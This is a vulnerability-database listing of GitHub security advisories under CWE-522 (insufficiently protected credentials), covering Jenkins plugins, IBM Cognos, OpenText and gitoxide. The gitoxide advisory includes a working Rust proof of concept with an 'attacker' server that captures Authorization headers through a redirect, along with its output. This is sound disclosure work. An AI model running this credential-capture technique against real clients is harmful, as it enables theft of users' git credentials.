Common Weakness Enumeration

CWE-522

Allowed-with-Review

Insufficiently Protected Credentials

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

1824 vulnerabilities reference this CWE, most recent first.

GHSA-962Q-84V8-HXHJ

Vulnerability from github – Published: 2025-07-09 18:30 – Updated: 2025-11-05 20:00
VLAI
Summary
Jenkins QMetry Test Management Plugin vulnerability exposes API keys
Details

QMetry Test Management Plugin 1.13 and earlier stores Qmetry Automation API Keys unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

These API keys can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

Additionally, the job configuration form does not mask these API keys, increasing the potential for attackers to observe and capture them.

As of publication of this advisory, there is no fix.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:qmetry-test-management"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-256",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-09T21:04:35Z",
    "nvd_published_at": "2025-07-09T16:15:25Z",
    "severity": "MODERATE"
  },
  "details": "QMetry Test Management Plugin 1.13 and earlier stores Qmetry Automation API Keys unencrypted in job `config.xml` files on the Jenkins controller as part of its configuration.\n\nThese API keys can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.\n\nAdditionally, the job configuration form does not mask these API keys, increasing the potential for attackers to observe and capture them.\n\nAs of publication of this advisory, there is no fix.",
  "id": "GHSA-962q-84v8-hxhj",
  "modified": "2025-11-05T20:00:38Z",
  "published": "2025-07-09T18:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53660"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/qmetry-test-management-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2025-07-09/#SECURITY-3532"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/07/09/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins QMetry Test Management Plugin vulnerability exposes API keys"
}

GHSA-9678-5F6F-WP3F

Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2023-03-02 16:42
VLAI
Summary
Jenkins Beaker Builder Plugin has Insufficiently Protected Credentials
Details

Beaker builder Plugin stored the Beaker password unencrypted on the Jenkins controller. This password could be viewed by users with access to the Jenkins controller file system.

Beaker builder Plugin now stores these credentials encrypted.

Severity
3.3 (Low)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:beaker-builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-02T16:42:30Z",
    "nvd_published_at": "2019-09-12T14:15:00Z",
    "severity": "LOW"
  },
  "details": "Beaker builder Plugin stored the Beaker password unencrypted on the Jenkins controller. This password could be viewed by users with access to the Jenkins controller file system.\n\nBeaker builder Plugin now stores these credentials encrypted.",
  "id": "GHSA-9678-5f6f-wp3f",
  "modified": "2023-03-02T16:42:30Z",
  "published": "2022-05-24T16:55:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10398"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/beaker-builder-plugin/commit/be0101f3541a5d2c28cf226c8b2e55cd4cfc94da"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-09-12/#SECURITY-1545"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/09/12/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Beaker Builder Plugin has Insufficiently Protected Credentials"
}

GHSA-96WW-MFW9-H4GH

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

IBM Cognos Analytics 11.0 and 11.1 could allow a remote attacker to obtain credentials from a user's browser via incorrect autocomplete settings in New Content Backup page. IBM X-Force ID: 172130.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-4724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-01T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "IBM Cognos Analytics 11.0 and 11.1 could allow a remote attacker to obtain credentials from a user\u0027s browser via incorrect autocomplete settings in New Content Backup page. IBM X-Force ID: 172130.",
  "id": "GHSA-96ww-mfw9-h4gh",
  "modified": "2022-05-24T19:03:48Z",
  "published": "2022-05-24T19:03:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4724"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/172130"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210622-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6451705"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9768-HPRV-CRJ5

Vulnerability from github – Published: 2025-07-09 18:30 – Updated: 2025-11-05 19:58
VLAI
Summary
Jenkins Credentials Binding Plugin vulnerability can expose sensitive information in logger messages
Details

Jenkins Credentials Binding Plugin 687.v619cb_15e923f and earlier does not properly mask (i.e., replace with asterisks) credentials present in exception error messages that are written to the build log.

Credentials Binding Plugin 687.689.v1a_f775332fc9 rethrows exceptions that contain credentials, masking those credentials in the error messages.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:credentials-binding"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "687.689.v1a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-779"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-09T20:28:31Z",
    "nvd_published_at": "2025-07-09T16:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Credentials Binding Plugin 687.v619cb_15e923f and earlier does not properly mask (i.e., replace with asterisks) credentials present in exception error messages that are written to the build log.\n\nCredentials Binding Plugin 687.689.v1a_f775332fc9 rethrows exceptions that contain credentials, masking those credentials in the error messages.",
  "id": "GHSA-9768-hprv-crj5",
  "modified": "2025-11-05T19:58:33Z",
  "published": "2025-07-09T18:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53650"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/credentials-binding-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2025-07-09/#SECURITY-3499"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/07/09/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jenkins Credentials Binding Plugin vulnerability can expose sensitive information in logger messages"
}

GHSA-97MG-9JHF-R7RM

Vulnerability from github – Published: 2023-08-16 15:30 – Updated: 2023-08-16 21:06
VLAI
Summary
Jenkins Maven Artifact ChoiceListProvider (Nexus) Plugin vulnerable to exposure of system-scoped credentials
Details

Jenkins Maven Artifact ChoiceListProvider (Nexus) Plugin 1.14 and earlier does not set the appropriate context for credentials lookup, allowing the use of System-scoped credentials otherwise reserved for the global configuration.

This allows attackers with Item/Configure permission to access and capture credentials they are not entitled to.

As of publication of this advisory, there is no fix.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:maven-artifact-choicelistprovider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-16T21:06:45Z",
    "nvd_published_at": "2023-08-16T15:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Maven Artifact ChoiceListProvider (Nexus) Plugin 1.14 and earlier does not set the appropriate context for credentials lookup, allowing the use of System-scoped credentials otherwise reserved for the global configuration.\n\nThis allows attackers with Item/Configure permission to access and capture credentials they are not entitled to.\n\nAs of publication of this advisory, there is no fix.",
  "id": "GHSA-97mg-9jhf-r7rm",
  "modified": "2023-08-16T21:06:45Z",
  "published": "2023-08-16T15:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40347"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2023-08-16/#SECURITY-3153"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/08/16/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Maven Artifact ChoiceListProvider (Nexus) Plugin vulnerable to exposure of system-scoped credentials"
}

GHSA-97P3-HW8F-R547

Vulnerability from github – Published: 2026-03-27 15:30 – Updated: 2026-03-27 15:30
VLAI
Details

Cache misconfiguration vulnerability in OpenText Identity Manager on Windows, Linux allows remote authenticated users to obtain another user's session data via insecure application cache handling. This issue affects Identity Manager: 25.2(v4.10.1).

Severity
8.4 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-13478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-27T14:16:07Z",
    "severity": "HIGH"
  },
  "details": "Cache misconfiguration vulnerability in OpenText Identity Manager on Windows, Linux allows remote authenticated users to obtain another user\u0027s session data via insecure application cache handling. This issue affects Identity Manager: 25.2(v4.10.1).",
  "id": "GHSA-97p3-hw8f-r547",
  "modified": "2026-03-27T15:30:25Z",
  "published": "2026-03-27T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13478"
    },
    {
      "type": "WEB",
      "url": "https://docs.microfocus.com/doc/2159/25.2/cvesecurityfix"
    },
    {
      "type": "WEB",
      "url": "https://docs.microfocus.com/doc/2159/25.2/releasenotesidentitymanager4101patch01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9857-6MW7-FQ2M

Vulnerability from github – Published: 2026-05-05 19:16 – Updated: 2026-05-05 19:16
VLAI
Summary
gix-transport: HTTP credentials leaked to redirected host in curl backend
Details

Summary

The curl-based HTTP transport in gix-transport sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial GET /info/refs, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The Authorization header is still attached because add_basic_auth_if_present() only checks self.url (the original, never-updated URL).

The reqwest backend is not affected. Its custom redirect policy at reqwest/remote.rs lines 60-64 compares prev_url.host_str() to curr_url.host_str() and calls attempt.stop() on cross-domain redirects, so redirected_base_url is never set to a different host.

Details

The vulnerability involves two components in gix-transport:

1. URL rewriting after redirect (gix-transport/src/client/blocking_io/http/curl/remote.rs)

After a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, swap_tails() rewrites the target URL to point at the redirected host (line 166).

2. Credential check uses original URL (gix-transport/src/client/blocking_io/http/mod.rs, lines 293-312)

add_basic_auth_if_present() checks self.url (set once during construction, never mutated) to decide whether to attach credentials. Since self.url always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host.

The Authorization header is added to the headers list in handshake() (line 374) and request() (line 434) before being passed to the backend, which applies them to the rewritten URL via handle.http_headers(headers) (line 309).

Attack flow: cross-domain credential leak

  1. Victim clones https://legitimate.com/repo with credentials configured
  2. Server returns 302 redirect on GET /info/refs to https://attacker.com/...
  3. Curl follows the redirect and strips Authorization for this GET (safe so far)
  4. Attacker serves a valid info/refs response; redirected_base_url is set
  5. POST /git-upload-pack is rewritten via swap_tails() to attacker.com
  6. add_basic_auth_if_present() checks self.url (still legitimate.com), approves credential sending
  7. Authorization: Basic <credentials> is sent to attacker.com

Curl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide.

Secondary vector: HTTPS-to-HTTP downgrade

The cleartext protection at mod.rs line 300-305 also checks self.url:

if self.url.starts_with("http://") {
    return Err(client::Error::AuthenticationRefused("..."));
}

This only validates the original URL's scheme, not the effective URL after redirect. A redirect from https://legitimate.com to http://attacker.com bypasses this check, causing credentials to be sent in cleartext over HTTP.

  1. Victim clones https://legitimate.com/repo with credentials
  2. Server redirects to http://attacker.com/... (note: HTTP, not HTTPS)
  3. add_basic_auth_if_present() checks self.url (still https://), allows credentials
  4. Authorization header is sent over unencrypted HTTP to attacker.com

PoC

A complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses gix-transport to demonstrate the credential leak.

To run: Create the project next to the gitoxide checkout so path dependencies resolve, then cargo run.

Cargo.toml 
[package]
name = "poc-gitoxide-redirect"
version = "0.1.0"
edition = "2021"

[dependencies]
# http-client-insecure-credentials is only needed because the PoC uses http://
# to avoid TLS setup. A real attack would use https:// and not require this feature.
gix-transport = { path = "../gitoxide/gix-transport", features = ["http-client-curl", "http-client-insecure-credentials"] }
gix-sec = { path = "../gitoxide/gix-sec" }
gix-url = { path = "../gitoxide/gix-url" }
gix-packetline = { path = "../gitoxide/gix-packetline", features = ["blocking-io"] }
src/main.rs 
use std::io::{BufRead, BufReader, Write};
use std::net::TcpListener;
use std::sync::mpsc;
use std::thread;

use gix_transport::client::{self, blocking_io::http, blocking_io::Transport, TransportWithoutIO};

fn main() {
    println!("=== gitoxide HTTP credential leak via redirect ===\n");

    let (captured_tx, captured_rx) = mpsc::channel::<Vec<String>>();

    // Attacker server (port 9090): captures credentials
    let attacker = TcpListener::bind("127.0.0.1:9090").expect("bind attacker");
    let attacker_handle = thread::spawn(move || {
        let (mut conn1, _) = attacker.accept().expect("accept conn1");
        let mut reader1 = BufReader::new(conn1.try_clone().unwrap());
        let mut headers1 = Vec::new();
        loop {
            let mut line = String::new();
            reader1.read_line(&mut line).unwrap();
            if line.trim().is_empty() { break; }
            headers1.push(line.trim().to_string());
        }
        println!("[attacker] GET /info/refs headers (from redirect):");
        for h in &headers1 { println!("  {h}"); }

        let pkt_service = "001e# service=git-upload-pack\n";
        let pkt_flush = "0000";
        let fake_hash = "a".repeat(40);
        let caps = "multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag";
        let ref_line = format!("{fake_hash} HEAD\0{caps}\n");
        let ref_pkt = format!("{:04x}{ref_line}", ref_line.len() + 4);
        let body = format!("{pkt_service}{pkt_flush}{ref_pkt}{pkt_flush}");
        let response = format!(
            "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-advertisement\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
            body.len()
        );
        conn1.write_all(response.as_bytes()).unwrap();
        conn1.flush().unwrap();
        drop(conn1);

        let (mut conn2, _) = attacker.accept().expect("accept conn2");
        let mut reader2 = BufReader::new(conn2.try_clone().unwrap());
        let mut headers2 = Vec::new();
        let mut content_length: usize = 0;
        loop {
            let mut line = String::new();
            reader2.read_line(&mut line).unwrap();
            if line.trim().is_empty() { break; }
            let trimmed = line.trim().to_string();
            if let Some(cl) = trimmed.strip_prefix("Content-Length: ") {
                content_length = cl.parse().unwrap_or(0);
            }
            headers2.push(trimmed);
        }
        if content_length > 0 {
            let mut body_buf = vec![0u8; content_length];
            use std::io::Read;
            reader2.read_exact(&mut body_buf).ok();
        }

        println!("\n[attacker] POST /git-upload-pack headers:");
        for h in &headers2 {
            let prefix = if h.starts_with("Authorization:") { "  >>> LEAKED: " } else { "  " };
            println!("{prefix}{h}");
        }

        let resp_body = "0000";
        let response2 = format!(
            "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-result\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}",
            resp_body.len()
        );
        conn2.write_all(response2.as_bytes()).unwrap();
        conn2.flush().unwrap();
        drop(conn2);

        captured_tx.send(headers2).ok();
    });

    // Legitimate server (port 8080): redirects to attacker
    let legit = TcpListener::bind("127.0.0.1:8080").expect("bind legit");
    let legit_handle = thread::spawn(move || {
        let (mut conn, _) = legit.accept().expect("accept legit");
        let mut reader = BufReader::new(conn.try_clone().unwrap());
        let mut request_line = String::new();
        reader.read_line(&mut request_line).unwrap();
        println!("[legit] Received: {}", request_line.trim());
        loop {
            let mut line = String::new();
            reader.read_line(&mut line).unwrap();
            if line.trim().is_empty() { break; }
        }
        let redirect_url = "http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack";
        let response = format!(
            "HTTP/1.1 302 Found\r\nLocation: {redirect_url}\r\nContent-Length: 0\r\n\r\n"
        );
        conn.write_all(response.as_bytes()).unwrap();
        conn.flush().unwrap();
        println!("[legit] Sent 302 redirect to attacker server");
    });

    thread::sleep(std::time::Duration::from_millis(100));

    println!("\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials...");
    let url: gix_url::Url = "http://127.0.0.1:8080/repo.git".try_into().expect("parse url");
    let mut transport: http::Transport<http::curl::Curl> =
        http::connect(url, gix_transport::Protocol::V1, false);
    transport
        .set_identity(gix_sec::identity::Account {
            username: "victim-user".into(),
            password: "super-secret-token".into(),
            oauth_refresh_token: None,
        })
        .expect("set identity");

    println!("[client] Performing handshake (GET /info/refs)...");
    match transport.handshake(gix_transport::Service::UploadPack, &[]) {
        Ok(_) => println!("[client] Handshake succeeded"),
        Err(e) => println!("[client] Handshake error: {e}"),
    }

    println!("[client] Sending request (POST /git-upload-pack)...");
    match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) {
        Ok(_writer) => println!("[client] Request sent"),
        Err(e) => println!("[client] Request error: {e}"),
    }

    legit_handle.join().ok();
    attacker_handle.join().ok();

    println!("\n=== RESULT ===");
    if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) {
        let leaked = headers.iter().any(|h| h.starts_with("Authorization:"));
        if leaked {
            let auth = headers.iter().find(|h| h.starts_with("Authorization:")).unwrap();
            println!("VULNERABLE: Credentials leaked to attacker server!");
            println!("Captured: {auth}");
        } else {
            println!("NOT VULNERABLE: No credentials captured.");
        }
    } else {
        println!("ERROR: Timed out.");
    }
}

Output:

[attacker] GET /info/refs headers (from redirect):
  GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1
  Host: 127.0.0.1:9090
  Accept: */*
  User-Agent: git/oxide-0.55.0

[attacker] POST /git-upload-pack headers:
  POST /repo.git/git-upload-pack HTTP/1.1
  Host: 127.0.0.1:9090
  >>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu

VULNERABLE: Credentials leaked to attacker server!
Captured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu

The GET (from redirect) has no Authorization header. The POST carries the full credentials. The base64 decodes to victim-user:super-secret-token.

Impact

Any user who clones or fetches over HTTP(S) using gitoxide with the curl backend (http-client-curl feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk.

Suggested Fix

  1. Only attach Authorization if the effective URL's host matches the original URL's host.
  2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior.
  3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.
Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.55.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-transport"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.25.4"
            },
            {
              "fixed": "0.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:16:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe curl-based HTTP transport in `gix-transport` sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial `GET /info/refs`, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The `Authorization` header is still attached because `add_basic_auth_if_present()` only checks `self.url` (the original, never-updated URL).\n\nThe reqwest backend is not affected. Its custom redirect policy at `reqwest/remote.rs` lines 60-64 compares `prev_url.host_str()` to `curr_url.host_str()` and calls `attempt.stop()` on cross-domain redirects, so `redirected_base_url` is never set to a different host.\n\n## Details\n\nThe vulnerability involves two components in `gix-transport`:\n\n**1. URL rewriting after redirect** ([gix-transport/src/client/blocking_io/http/curl/remote.rs](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/curl/remote.rs))\n\nAfter a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, `swap_tails()` rewrites the target URL to point at the redirected host (line 166).\n\n**2. Credential check uses original URL** ([gix-transport/src/client/blocking_io/http/mod.rs, lines 293-312](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/mod.rs#L293))\n\n`add_basic_auth_if_present()` checks `self.url` (set once during construction, never mutated) to decide whether to attach credentials. Since `self.url` always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host.\n\nThe `Authorization` header is added to the headers list in `handshake()` (line 374) and `request()` (line 434) before being passed to the backend, which applies them to the rewritten URL via `handle.http_headers(headers)` (line 309).\n\n### Attack flow: cross-domain credential leak\n\n1. Victim clones `https://legitimate.com/repo` with credentials configured\n2. Server returns 302 redirect on `GET /info/refs` to `https://attacker.com/...`\n3. Curl follows the redirect and strips `Authorization` for this GET (safe so far)\n4. Attacker serves a valid info/refs response; `redirected_base_url` is set\n5. `POST /git-upload-pack` is rewritten via `swap_tails()` to `attacker.com`\n6. `add_basic_auth_if_present()` checks `self.url` (still `legitimate.com`), approves credential sending\n7. `Authorization: Basic \u003ccredentials\u003e` is sent to `attacker.com`\n\nCurl\u0027s cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide.\n\n### Secondary vector: HTTPS-to-HTTP downgrade\n\nThe cleartext protection at `mod.rs` line 300-305 also checks `self.url`:\n\n```rust\nif self.url.starts_with(\"http://\") {\n    return Err(client::Error::AuthenticationRefused(\"...\"));\n}\n```\n\nThis only validates the original URL\u0027s scheme, not the effective URL after redirect. A redirect from `https://legitimate.com` to `http://attacker.com` bypasses this check, causing credentials to be sent in cleartext over HTTP.\n\n1. Victim clones `https://legitimate.com/repo` with credentials\n2. Server redirects to `http://attacker.com/...` (note: HTTP, not HTTPS)\n3. `add_basic_auth_if_present()` checks `self.url` (still `https://`), allows credentials\n4. `Authorization` header is sent over unencrypted HTTP to `attacker.com`\n\n## PoC\n\nA complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses `gix-transport` to demonstrate the credential leak.\n\n**To run:** Create the project next to the gitoxide checkout so path dependencies resolve, then `cargo run`.\n\n\u003cdetails\u003e\n\u003csummary\u003eCargo.toml\u003c/summary\u003e\n\n```toml\n[package]\nname = \"poc-gitoxide-redirect\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\n# http-client-insecure-credentials is only needed because the PoC uses http://\n# to avoid TLS setup. A real attack would use https:// and not require this feature.\ngix-transport = { path = \"../gitoxide/gix-transport\", features = [\"http-client-curl\", \"http-client-insecure-credentials\"] }\ngix-sec = { path = \"../gitoxide/gix-sec\" }\ngix-url = { path = \"../gitoxide/gix-url\" }\ngix-packetline = { path = \"../gitoxide/gix-packetline\", features = [\"blocking-io\"] }\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003esrc/main.rs\u003c/summary\u003e\n\n```rust\nuse std::io::{BufRead, BufReader, Write};\nuse std::net::TcpListener;\nuse std::sync::mpsc;\nuse std::thread;\n\nuse gix_transport::client::{self, blocking_io::http, blocking_io::Transport, TransportWithoutIO};\n\nfn main() {\n    println!(\"=== gitoxide HTTP credential leak via redirect ===\\n\");\n\n    let (captured_tx, captured_rx) = mpsc::channel::\u003cVec\u003cString\u003e\u003e();\n\n    // Attacker server (port 9090): captures credentials\n    let attacker = TcpListener::bind(\"127.0.0.1:9090\").expect(\"bind attacker\");\n    let attacker_handle = thread::spawn(move || {\n        let (mut conn1, _) = attacker.accept().expect(\"accept conn1\");\n        let mut reader1 = BufReader::new(conn1.try_clone().unwrap());\n        let mut headers1 = Vec::new();\n        loop {\n            let mut line = String::new();\n            reader1.read_line(\u0026mut line).unwrap();\n            if line.trim().is_empty() { break; }\n            headers1.push(line.trim().to_string());\n        }\n        println!(\"[attacker] GET /info/refs headers (from redirect):\");\n        for h in \u0026headers1 { println!(\"  {h}\"); }\n\n        let pkt_service = \"001e# service=git-upload-pack\\n\";\n        let pkt_flush = \"0000\";\n        let fake_hash = \"a\".repeat(40);\n        let caps = \"multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag\";\n        let ref_line = format!(\"{fake_hash} HEAD\\0{caps}\\n\");\n        let ref_pkt = format!(\"{:04x}{ref_line}\", ref_line.len() + 4);\n        let body = format!(\"{pkt_service}{pkt_flush}{ref_pkt}{pkt_flush}\");\n        let response = format!(\n            \"HTTP/1.1 200 OK\\r\\nContent-Type: application/x-git-upload-pack-advertisement\\r\\nContent-Length: {}\\r\\nConnection: close\\r\\n\\r\\n{body}\",\n            body.len()\n        );\n        conn1.write_all(response.as_bytes()).unwrap();\n        conn1.flush().unwrap();\n        drop(conn1);\n\n        let (mut conn2, _) = attacker.accept().expect(\"accept conn2\");\n        let mut reader2 = BufReader::new(conn2.try_clone().unwrap());\n        let mut headers2 = Vec::new();\n        let mut content_length: usize = 0;\n        loop {\n            let mut line = String::new();\n            reader2.read_line(\u0026mut line).unwrap();\n            if line.trim().is_empty() { break; }\n            let trimmed = line.trim().to_string();\n            if let Some(cl) = trimmed.strip_prefix(\"Content-Length: \") {\n                content_length = cl.parse().unwrap_or(0);\n            }\n            headers2.push(trimmed);\n        }\n        if content_length \u003e 0 {\n            let mut body_buf = vec![0u8; content_length];\n            use std::io::Read;\n            reader2.read_exact(\u0026mut body_buf).ok();\n        }\n\n        println!(\"\\n[attacker] POST /git-upload-pack headers:\");\n        for h in \u0026headers2 {\n            let prefix = if h.starts_with(\"Authorization:\") { \"  \u003e\u003e\u003e LEAKED: \" } else { \"  \" };\n            println!(\"{prefix}{h}\");\n        }\n\n        let resp_body = \"0000\";\n        let response2 = format!(\n            \"HTTP/1.1 200 OK\\r\\nContent-Type: 